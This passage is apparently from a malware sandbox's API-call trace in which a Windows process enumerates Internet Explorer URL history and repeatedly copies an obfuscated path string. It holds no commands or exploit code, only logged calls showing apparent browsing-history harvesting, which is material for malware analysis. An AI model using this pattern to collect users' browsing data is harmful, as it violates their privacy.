(lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/rtlqaalkS0.rtf") returned 64 [0056.939] CoTaskMemFree (pv=0x2e9eb8) [0056.939] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.939] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/uKHJPqLTlSz-.bmp", lpSrch="?") returned 0x0 [0056.939] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.939] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.939] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.939] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/uKHJPqLTlSz-.bmp") returned 71 [0056.939] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/uKHJPqLTlSz-.bmp") returned 71 [0056.939] CoTaskMemFree (pv=0x2da9e8) [0056.939] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.940] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xbHDwVMyRHvZtAkZ.xlsx", lpSrch="?") returned 0x0 [0056.940] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.940] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.940] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.940] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xbHDwVMyRHvZtAkZ.xlsx") returned 71 [0056.940] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/xbHDwVMyRHvZtAkZ.xlsx") returned 71 [0056.940] CoTaskMemFree (pv=0x2dabb0) [0056.940] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.940] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/bT2EWIE0.odp", lpSrch="?") returned 0x0 [0056.940] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.940] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.940] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.940] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/bT2EWIE0.odp") returned 118 [0056.940] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/bT2EWIE0.odp") returned 118 [0056.940] CoTaskMemFree (pv=0x2e5178) [0056.940] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.940] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7afW-7SI7.swf", lpSrch="?") returned 0x0 [0056.940] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.940] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.940] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7afW-7SI7.swf") returned 55 [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7afW-7SI7.swf") returned 55 [0056.941] CoTaskMemFree (pv=0x2f7ab0) [0056.941] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.941] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/J1r%201JZiss0iW_Pw4UQn.swf", lpSrch="?") returned 0x0 [0056.941] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.941] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.941] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/J1r%201JZiss0iW_Pw4UQn.swf") returned 99 [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/J1r%201JZiss0iW_Pw4UQn.swf") returned 99 [0056.941] CoTaskMemFree (pv=0x2d6158) [0056.941] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.941] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZLRTWEp0IUL8.bmp", lpSrch="?") returned 0x0 [0056.941] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.941] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.941] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZLRTWEp0IUL8.bmp") returned 92 [0056.941] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZLRTWEp0IUL8.bmp") returned 92 [0056.942] CoTaskMemFree (pv=0x2d1ae8) [0056.942] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.942] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/5mZuS5LT8jNy.ppt", lpSrch="?") returned 0x0 [0056.942] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.942] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.942] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.942] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/5mZuS5LT8jNy.ppt") returned 66 [0056.942] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/5mZuS5LT8jNy.ppt") returned 66 [0056.942] CoTaskMemFree (pv=0x2ea2a8) [0056.942] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.942] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Qi2xmt0Rq.ots", lpSrch="?") returned 0x0 [0056.942] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.942] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.942] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.942] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Qi2xmt0Rq.ots") returned 82 [0056.942] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Qi2xmt0Rq.ots") returned 82 [0056.942] CoTaskMemFree (pv=0x2f9968) [0056.942] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.943] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/-CKEO2ZiLFuBF_Rx.jpg", lpSrch="?") returned 0x0 [0056.943] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.943] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.943] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.943] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/-CKEO2ZiLFuBF_Rx.jpg") returned 96 [0056.943] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/-CKEO2ZiLFuBF_Rx.jpg") returned 96 [0056.943] CoTaskMemFree (pv=0x2d4c38) [0056.943] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.943] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/MvSYoI.pps", lpSrch="?") returned 0x0 [0056.943] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.943] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.943] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.943] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/MvSYoI.pps") returned 96 [0056.943] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/MvSYoI.pps") returned 96 [0056.943] CoTaskMemFree (pv=0x2d6228) [0056.943] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.944] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/cl984rprW7Pwzi3VVK.swf", lpSrch="?") returned 0x0 [0056.944] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.944] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.944] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.944] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/cl984rprW7Pwzi3VVK.swf") returned 64 [0056.944] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/cl984rprW7Pwzi3VVK.swf") returned 64 [0056.944] CoTaskMemFree (pv=0x2e83b8) [0056.944] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.944] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/LxT9XSH.flv", lpSrch="?") returned 0x0 [0056.944] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.944] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc6f0 [0056.944] lstrcpyA (in: lpString1=0x2fc6f0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.944] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/LxT9XSH.flv") returned 96 [0056.944] lstrlenW 